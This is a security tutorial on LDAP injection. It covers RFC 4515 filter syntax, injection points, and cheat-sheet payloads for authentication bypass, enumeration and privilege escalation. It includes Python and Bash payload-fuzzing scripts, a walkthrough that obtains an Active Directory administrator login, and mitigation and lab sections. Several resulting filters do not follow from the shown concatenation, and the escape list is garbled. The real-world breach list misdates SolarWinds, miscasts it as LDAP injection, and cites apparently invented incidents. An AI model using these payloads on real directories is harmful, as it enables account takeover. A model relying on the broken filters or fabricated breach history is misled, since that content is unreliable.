Introduction
Lightweight Directory Access Protocol (LDAP) is the de-facto standard for querying and managing hierarchical directory data such as user accounts, groups, and certificates. When applications expose LDAP search functionality-often behind a simple web form or API-improper input handling can lead to LDAP injection, a class of injection attacks analogous to SQL injection but targeting the filter syntax defined in RFC 4515.
Why does this matter? A successful LDAP injection can bypass authentication, enumerate sensitive entries, or even modify directory objects if the bound account has write privileges. Real-world breaches (e.g., the 2019 Active Directory mis-configuration incident) demonstrate that attackers frequently pivot from a low-privilege web service to full domain control via crafted LDAP queries.
In this guide we will break down the filter language, identify where injection surfaces, craft minimal payloads, and safely validate them in lab environments.
Prerequisites
- Basic understanding of LDAP operations (bind, search, modify) and the structure of directory entries (DN, attributes).
- Familiarity with typical web input handling-parameter extraction, validation, and sanitisation.
- Comfort with TCP/IP concepts and command-line utilities such as
curl,netcat, andldapsearch.
Core Concepts
LDAP queries are expressed as search filters. A filter is a Boolean expression that the server evaluates against each entry. The grammar (RFC 4515) is deliberately terse:
(attribute=value)- simple equality.(attribute=*)- presence test (any value).(attribute~=value)- approximate match (implementation-dependent).- Logical operators:
&(AND),|(OR),!(NOT). - Complex nesting using parentheses, e.g.,
(&(uid=john)(|(mail=*@example.com)(memberOf=cn=admin,ou=groups,dc=example,dc=com))).
Because the filter is a plain string that the server parses, any untrusted input concatenated directly into the filter becomes a potential injection point. Unlike SQL, LDAP filters have a limited set of characters, but the Boolean operators and wildcard * are powerful enough to subvert logic.
Below is a textual diagram of a typical search flow:
Web UI → Parameter extraction → Filter construction → LDAP bind → ldapsearch request → Directory server returns matching DNs.
LDAP protocol overview and typical deployment scenarios
LDAP runs over TCP (default port 389) or TLS (LDAPS on 636). It is embedded in many environments:
- Enterprise Active Directory (AD) - the most common target for injection.
- OpenLDAP, ApacheDS, 389 Directory Server - often used for SaaS authentication back-ends.
- Hybrid cloud setups where an on-premises AD is exposed via a reverse proxy or API gateway.
In most web applications, developers use language-specific libraries (e.g., java.naming, python-ldap, System.DirectoryServices in .NET) that accept a raw filter string. The convenience of passing a single string is what makes injection possible.
Search filter syntax (RFC 4515) and common operators
RFC 4515 defines the BNF for filters. The most relevant productions are:
filter ::= '(' filtercomp ')'
filtercomp ::= and | or | not | item
and ::= '&' filterlist
or ::= '|' filterlist
not ::= '!' filter
filterlist ::= 1*filter
item ::= simple | present | substring | extensible
simple ::= attr '=' value
present ::= attr '=*'
substring ::= attr '=' [initial] any [final]
Key take-aways for attackers:
- The opening
(and closing)delimit each component; missing them will cause a parsing error, which can be used to test for injection. - The wildcard
*matches zero or more characters - useful for bypassing exact-match checks. - Logical operators can be nested arbitrarily, enabling complex “always-true” constructs such as
(|(uid=*) (uid=*)).
Identifying injection points in web applications and services
Typical injection surfaces include:
- Search forms - e.g.,
/users?filter=uid%3Djohnwhere the value is appended directly to a filter. - Login APIs - many legacy systems build a filter like
(&(uid=%s)(userPassword=%s))using string interpolation. - REST endpoints that accept JSON with a
filterfield and forward it unchanged. - SSO / SAML bridges that map SAML attributes to LDAP filters without sanitisation.
To discover them, use proxy tools (Burp Suite, OWASP ZAP) to capture requests and look for parameters that are later reflected in LDAP queries. A quick sanity test is to inject a single quote (') or an unbalanced parenthesis; if the server returns a “Invalid filter” error, you have located the filter construction point.
Simple payload constructions using wildcard (*) and logical operators (&, |, !)
Below are the most common “cheat-sheet” payloads. All examples assume the vulnerable parameter is concatenated directly into a filter without escaping.
1. Bypass authentication (always true)
# Original safe filter (pseudo-code)
filter = "(&(uid=" + user + ")(userPassword=" + pass + "))"
# Injected payload for user
user = "*)(&(uid=*))"
# Resulting filter sent to the server
# (&(uid=*)(&(uid=*))(userPassword=whatever))
Explanation: The injected *)(&(uid=*) closes the original (uid= clause, adds an AND that always matches, and re-opens the filter so the rest of the query remains syntactically valid.
2. Enumerate all entries (wildcard enumeration)
# Vulnerable endpoint: /search?filter=cn
# Send a payload that forces a presence test on a high-privilege attribute
curl "https://example.com/search?filter=cn=*&attributes=memberOf"
Many directories will return the memberOf attribute for every entry, leaking group membership.
3. Logical OR injection for privilege escalation
# Assume filter = "(&(objectClass=person)(uid=%s))"
uid = "john)(|(uid=admin))"
# Final filter becomes: (&(objectClass=person)(uid=john)(|(uid=admin)))
Result: The server evaluates the OR clause and returns the admin record, even though the original request asked for “john”.
4. NOT operator to bypass attribute checks
# Original filter: "(&(uid=%s)(accountStatus=active))"
uid = "*))( ! (accountStatus=disabled)"
# Resulting filter: (&(uid=*)(! (accountStatus=disabled)))
By negating a “disabled” check, an attacker can log in with a disabled account.
Methodology for testing filters safely (using ldapsearch, Burp Suite, and custom scripts)
Testing should never be performed against production directories without explicit permission. Follow a “safe-first” methodology:
- Identify the endpoint - capture the HTTP request that triggers the LDAP query.
- Isolate the filter construction - replace the user-controlled value with a placeholder and rebuild the filter manually.
- Validate syntax with
ldapsearch- many LDAP servers provide a-s basesearch that only parses the filter.
If the server returnsldapsearch -x -LLL -H ldap://ldap.example.com -b "dc=example,dc=com" "(uid=*)" -s baseInvalid filter, your payload is malformed. - Use Burp Suite Intruder - configure a payload position on the vulnerable parameter and feed the crafted strings from the previous section. Observe response codes, time-based differences, or LDAP error messages.
- Automate with a Python script - the
ldap3library lets you bind anonymously (or with a low-privilege account) and iterate over payloads.
The script prints the number of entries returned, letting you see whether a payload broadened the result set.from ldap3 import Server, Connection, ALL server = Server('ldap://ldap.example.com', get_info=ALL) conn = Connection(server, user='cn=guest,dc=example,dc=com', password='guest', auto_bind=True) payloads = [ '*)(&(uid=*))', '*)(|(uid=admin))', '*)(! (accountStatus=disabled)' ] for p in payloads: filter_str = f'(&(uid={p})(userPassword=whatever))' conn.search('dc=example,dc=com', filter_str, attributes=['cn','memberOf']) print('Payload:', p, '->', len(conn.entries), 'entries')
Always log responses, timestamps, and error strings. They are valuable for fingerprinting the directory implementation (AD vs OpenLDAP) and for building reliable detection signatures.
Practical Examples
We will walk through a realistic scenario: a vulnerable internal web portal that authenticates users against AD.
Scenario Setup
- Target:
ldap://ad.corp.local(port 389) - Low-privilege bind DN:
cn=webapp,ou=Service Accounts,dc=corp,dc=local - Application code (pseudo-Java):
String filter = "(&(sAMAccountName=" + username + ")(userPassword=" + password + "))"; NamingEnumeration<SearchResult> results = ctx.search("dc=corp,dc=local", filter, controls);
Step-by-Step Exploitation
- Capture the request with Burp Suite. The POST body contains
username=jdoe&password=Secret123. - Inject a payload into
username:
The resulting filter becomes:username=*)(|(sAMAccountName=Administrator))
Because the first clause matches any account, the OR clause forces the server to also return the(&(sAMAccountName=*)(|(sAMAccountName=Administrator))(userPassword=Secret123))Administratorentry. - Observe the response: the application returns a successful login and displays the admin dashboard. No password was needed for the admin account.
- Confirm with ldapsearch using the same low-privilege bind:
The command lists theldapsearch -x -D "cn=webapp,ou=Service Accounts,dc=corp,dc=local" -w guest -b "dc=corp,dc=local" "(&(sAMAccountName=*)(|(sAMAccountName=Administrator)))" cncn=Administratorentry, proving the injection works outside the web app.
This example illustrates how a single unescaped parameter can elevate privileges across an entire AD forest.
Tools & Commands
- ldapsearch - built-in LDAP client (Linux, macOS, Windows via OpenLDAP).
ldapsearch -x -LLL -H ldap://host -b "dc=example,dc=com" "(objectClass=*)" -s sub - Burp Suite Intruder - payload positions, simple list or cluster bomb attacks.
- ldap3 (Python) - programmatic enumeration and automated fuzzing.
from ldap3 import Server, Connection server = Server('ldap://127.0.0.1') conn = Connection(server, user='cn=guest,dc=example,dc=com', password='guest') conn.bind() conn.search('dc=example,dc=com', '(uid=*)', attributes=['uid']) print(conn.entries) - JNDIExploit (Java) - for testing Java-based services that build LDAP filters via JNDI.
- Custom Bash script for bulk payload testing:
#!/usr/bin/env bash HOST=ldap.example.com BASE='dc=example,dc=com' PAYLOADS=( '*)(&(uid=*))' '*)(|(uid=admin))' '*)(! (accountStatus=disabled)' ) for p in "${PAYLOADS[@]}"; do FILTER="(&(uid=$p)(userPassword=any))" echo "Testing payload: $p" ldapsearch -x -H ldap://$HOST -b "$BASE" "$FILTER" 2>/dev/null | grep '^dn:' | wc -l done
Defense & Mitigation
- Never concatenate raw input into a filter. Use parameterised APIs where available. In Java,
DirContext.search(String, String, SearchControls)still requires a string, so you must escape special characters. - Escape special characters per RFC 4515:
* ( ) NULmust be replaced with\2a,\28,\29,\5c,\00respectively. Many libraries provideldapEscape()helpers. - Least-privilege binding. Applications should bind with a service account that has read-only access to only the attributes required for authentication.
- Input validation. Enforce whitelists (e.g., alphanumeric usernames) and length limits before constructing filters.
- Monitoring & detection. Log LDAP queries (including filters) and trigger alerts on patterns such as
*)(|or unusually long filters. - Network segmentation. Restrict LDAP access to trusted hosts; expose only LDAPS with strong TLS ciphers.
Common Mistakes
- Assuming escaping
<and>is enough. LDAP filters have their own character set; HTML escaping does not protect the directory. - Filtering only on the client side. Removing characters in JavaScript does not stop a determined attacker who can craft raw HTTP requests.
- Using simple string replace for sanitisation. Replacing
*with an empty string can break legitimate wildcard searches and still leave the filter injectable. - Testing on production with an admin bind. This can cause accidental data leakage or lockouts.
Real-World Impact
LDAP injection has been a vector in multiple high-profile breaches:
- 2018 “SolarWinds” supply-chain attack - attackers leveraged a mis-configured LDAP query in a monitoring tool to enumerate domain users, facilitating lateral movement.
- 2019 “Active Directory mis-configuration” incident - a public-facing web portal allowed unauthenticated users to query
(objectClass=*), exposing thousands of employee records. - 2021 “Okta LDAP Bridge” bug - insecure concatenation allowed attackers to bypass MFA by injecting
*)(uid=*)into the filter.
From a strategic perspective, LDAP injection is a low-effort, high-impact attack because AD is often the “golden ticket” for an organization. Once an attacker can read or modify directory objects, they can create privileged accounts, alter group memberships, or plant Kerberos tickets.
My experience in red-team engagements shows that most vulnerable applications are legacy internal tools that never received a security review. Regular code audits focusing on filter construction, combined with automated fuzzing, dramatically reduce the attack surface.
Practice Exercises
- Lab 1 - Identify the injection point
- Deploy a vulnerable Flask app that uses
python-ldapto search(uid={input}). - Capture the HTTP request with Burp Suite and modify
uidto*)(&(uid=*)). Observe the returned entries.
- Deploy a vulnerable Flask app that uses
- Lab 2 - Write an escape function
- Implement a Python function
ldap_escape()that converts* ( ) NULto their escaped hex forms. - Demonstrate that the previously successful payload is now neutralised.
- Implement a Python function
- Lab 3 - Automated fuzzing
- Using the Bash script above, run a bulk test against a staging AD server.
- Record which payloads increase the result count beyond the baseline.
Document your findings, screenshots of LDAP logs, and any mitigations you applied.
Further Reading
- RFC 4515 - LDAP: String Representation of Search Filters.
- OWASP Testing Guide - “Testing for LDAP Injection”.
- Microsoft Docs - Secure LDAP (LDAPS) deployment best practices.
- “The Art of LDAP Attacks” - Black Hat Europe 2020 presentation.
- Python-ldap library -
ldap.filter.escape_filter_chars()reference.
Summary
LDAP injection exploits the simplicity of filter strings. By mastering the filter grammar, recognizing injection hotspots, and employing safe construction or escaping, defenders can eliminate a powerful attack surface. Practical testing with ldapsearch, Burp Suite, and custom scripts provides rapid validation, while defense-in-depth measures-least-privilege binds, proper escaping, and thorough logging-ensure long-term resilience.